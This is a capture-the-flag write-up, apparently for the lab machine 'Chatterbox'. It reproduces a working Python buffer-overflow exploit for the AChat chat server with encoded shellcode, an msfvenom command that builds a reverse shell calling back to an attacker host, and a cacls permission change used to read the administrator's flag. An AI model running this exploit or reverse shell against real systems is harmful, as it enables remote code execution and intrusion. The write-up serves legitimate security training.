Reset this box first!
nmap then:
nmap -sV -Pn -p- --min-rate 10000 10.10.10.74 |tee -a chat.txt
Nmap scan report for 10.10.10.74
Host is up (0.11s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
9255/tcp open mon
9256/tcp open unknown
Unsatisfying. We go again!
nmap -p9255,9256 -sV 10.10.10.74 -sC
PORT STATE SERVICE VERSION
9255/tcp open http AChat chat system httpd
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open achat AChat chat system
Buffer Overflow
Examine the exploit:
#!/usr/bin/python
# Author KAhara MAnhara
# Achat 0.150 beta7 - Buffer Overflow
# Tested on Windows 7 32bit
import socket
import sys, time
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
#Payload size: 512 bytes
buf = ""
buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += "\x47\x42\x39\x75\x34\x4a\x42\x69\x6c\x77\x78\x62\x62"
buf += "\x69\x70\x59\x70\x4b\x50\x73\x30\x43\x59\x5a\x45\x50"
buf += "\x31\x67\x50\x4f\x74\x34\x4b\x50\x50\x4e\x50\x34\x4b"
buf += "\x30\x52\x7a\x6c\x74\x4b\x70\x52\x4e\x34\x64\x4b\x63"
buf += "\x42\x4f\x38\x4a\x6f\x38\x37\x6d\x7a\x4d\x56\x4d\x61"
buf += "\x49\x6f\x74\x6c\x4f\x4c\x6f\x71\x33\x4c\x69\x72\x4e"
buf += "\x4c\x4f\x30\x66\x61\x58\x4f\x5a\x6d\x59\x71\x67\x57"
buf += "\x68\x62\x48\x72\x52\x32\x50\x57\x54\x4b\x72\x32\x4e"
buf += "\x30\x64\x4b\x6e\x6a\x4d\x6c\x72\x6b\x70\x4c\x4a\x71"
buf += "\x43\x48\x39\x53\x71\x38\x6a\x61\x36\x71\x4f\x61\x62"
buf += "\x6b\x42\x39\x4f\x30\x4a\x61\x38\x53\x62\x6b\x30\x49"
buf += "\x6b\x68\x58\x63\x4e\x5a\x6e\x69\x44\x4b\x6f\x44\x72"
buf += "\x6b\x4b\x51\x36\x76\x70\x31\x69\x6f\x46\x4c\x57\x51"
buf += "\x48\x4f\x4c\x4d\x6a\x61\x55\x77\x4f\x48\x57\x70\x54"
buf += "\x35\x49\x66\x49\x73\x51\x6d\x7a\x58\x6d\x6b\x53\x4d"
buf += "\x4e\x44\x34\x35\x38\x64\x62\x38\x62\x6b\x52\x38\x6b"
buf += "\x74\x69\x71\x4a\x33\x33\x36\x54\x4b\x7a\x6c\x6e\x6b"
buf += "\x72\x6b\x51\x48\x6d\x4c\x6b\x51\x67\x63\x52\x6b\x49"
buf += "\x74\x72\x6b\x4d\x31\x7a\x30\x44\x49\x51\x34\x6e\x44"
buf += "\x4b\x74\x61\x4b\x51\x4b\x4f\x71\x51\x49\x71\x4a\x52"
buf += "\x31\x49\x6f\x69\x50\x31\x4f\x51\x4f\x6e\x7a\x34\x4b"
buf += "\x6a\x72\x38\x6b\x44\x4d\x71\x4d\x50\x6a\x59\x71\x64"
buf += "\x4d\x35\x35\x65\x62\x4b\x50\x49\x70\x4b\x50\x52\x30"
buf += "\x32\x48\x6c\x71\x64\x4b\x72\x4f\x51\x77\x59\x6f\x79"
buf += "\x45\x45\x6b\x48\x70\x75\x65\x35\x52\x30\x56\x72\x48"
buf += "\x33\x76\x35\x45\x37\x4d\x63\x6d\x49\x6f\x37\x65\x6d"
buf += "\x6c\x6a\x66\x31\x6c\x79\x7a\x51\x70\x4b\x4b\x67\x70"
buf += "\x53\x45\x6d\x35\x55\x6b\x31\x37\x4e\x33\x32\x52\x30"
buf += "\x6f\x42\x4a\x6d\x30\x50\x53\x79\x6f\x37\x65\x70\x63"
buf += "\x53\x31\x72\x4c\x30\x63\x4c\x6e\x70\x65\x32\x58\x50"
buf += "\x65\x6d\x30\x41\x41"
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('192.168.91.130', 9256)
fs = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
p = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
p += "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
p += "\x62" + "A"*45
p += "\x61\x40"
p += "\x2A\x46"
p += "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
p += "\x61\x43" + "\x2A\x46"
p += "\x2A" + fs + "C" * (157-len(fs)- 31-3)
p += buf + "A" * (1152 - len(buf))
p += "\x00" + "A"*10 + "\x00"
print "---->{P00F}!"
i=0
while i<len(p):
if i > 172000:
time.sleep(1.0)
sent = sock.sendto(p[i:(i+8192)], server_address)
i += sent
sock.close()
It looks like we can swap out the shellcode for a staged reverse_shell. This will require using metasploit’s
exploit/multi/handler to catch it.
msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp lhost=10.10.14.7 lport=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python > shellcode
With the metasploit multi/handler set up we execute the exploit.
python Achat-bof.py
---->{P00F}!
And catch the shell. From there we can pick up the user flag.
Directory of c:\Users\Alfred\Desktop
12/10/2017 07:50 PM <DIR> .
12/10/2017 07:50 PM <DIR> ..
12/10/2017 07:50 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 18,162,651,136 bytes free
c:\Users\Alfred\Desktop>type user.txt
type user.txt
72xxxxxxxxxxxxxxxxxxxxxxxxxxxx34
c:\Users\Alfred\Desktop>
Privilege Escalation
Unusually, we can immediately gain access to Administrator’s directory, but we cannot yet read the root flag.
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9034-6528
Directory of c:\Users\Administrator\Desktop
12/10/2017 07:50 PM <DIR> .
12/10/2017 07:50 PM <DIR> ..
12/10/2017 07:50 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 18,162,651,136 bytes free
c:\Users\Administrator\Desktop>type root.txt
type root.txt
Access is denied.
What are the permissions?
C:\Users\Administrator\Desktop>cacls root.txt
cacls root.txt
C:\Users\Administrator\Desktop\root.txt CHATTERBOX\Administrator:F
We can change the ownership, to allow Alfred to read the flag.
C:\Users\Administrator\Desktop>cacls root.txt /E /P chatterbox\alfred:F
cacls root.txt /E /P chatterbox\alfred:F
processed file: C:\Users\Administrator\Desktop\root.txt
C:\Users\Administrator\Desktop>
C:\Users\Administrator\Desktop>type root.txt
type root.txt
a6xxxxxxxxxxxxxxxxxxxxxxxxxxxx7c
But we are not SYSTEM…
Im going to take the flags and run for now…but I’ll be back for SYSTEM another time.
:)
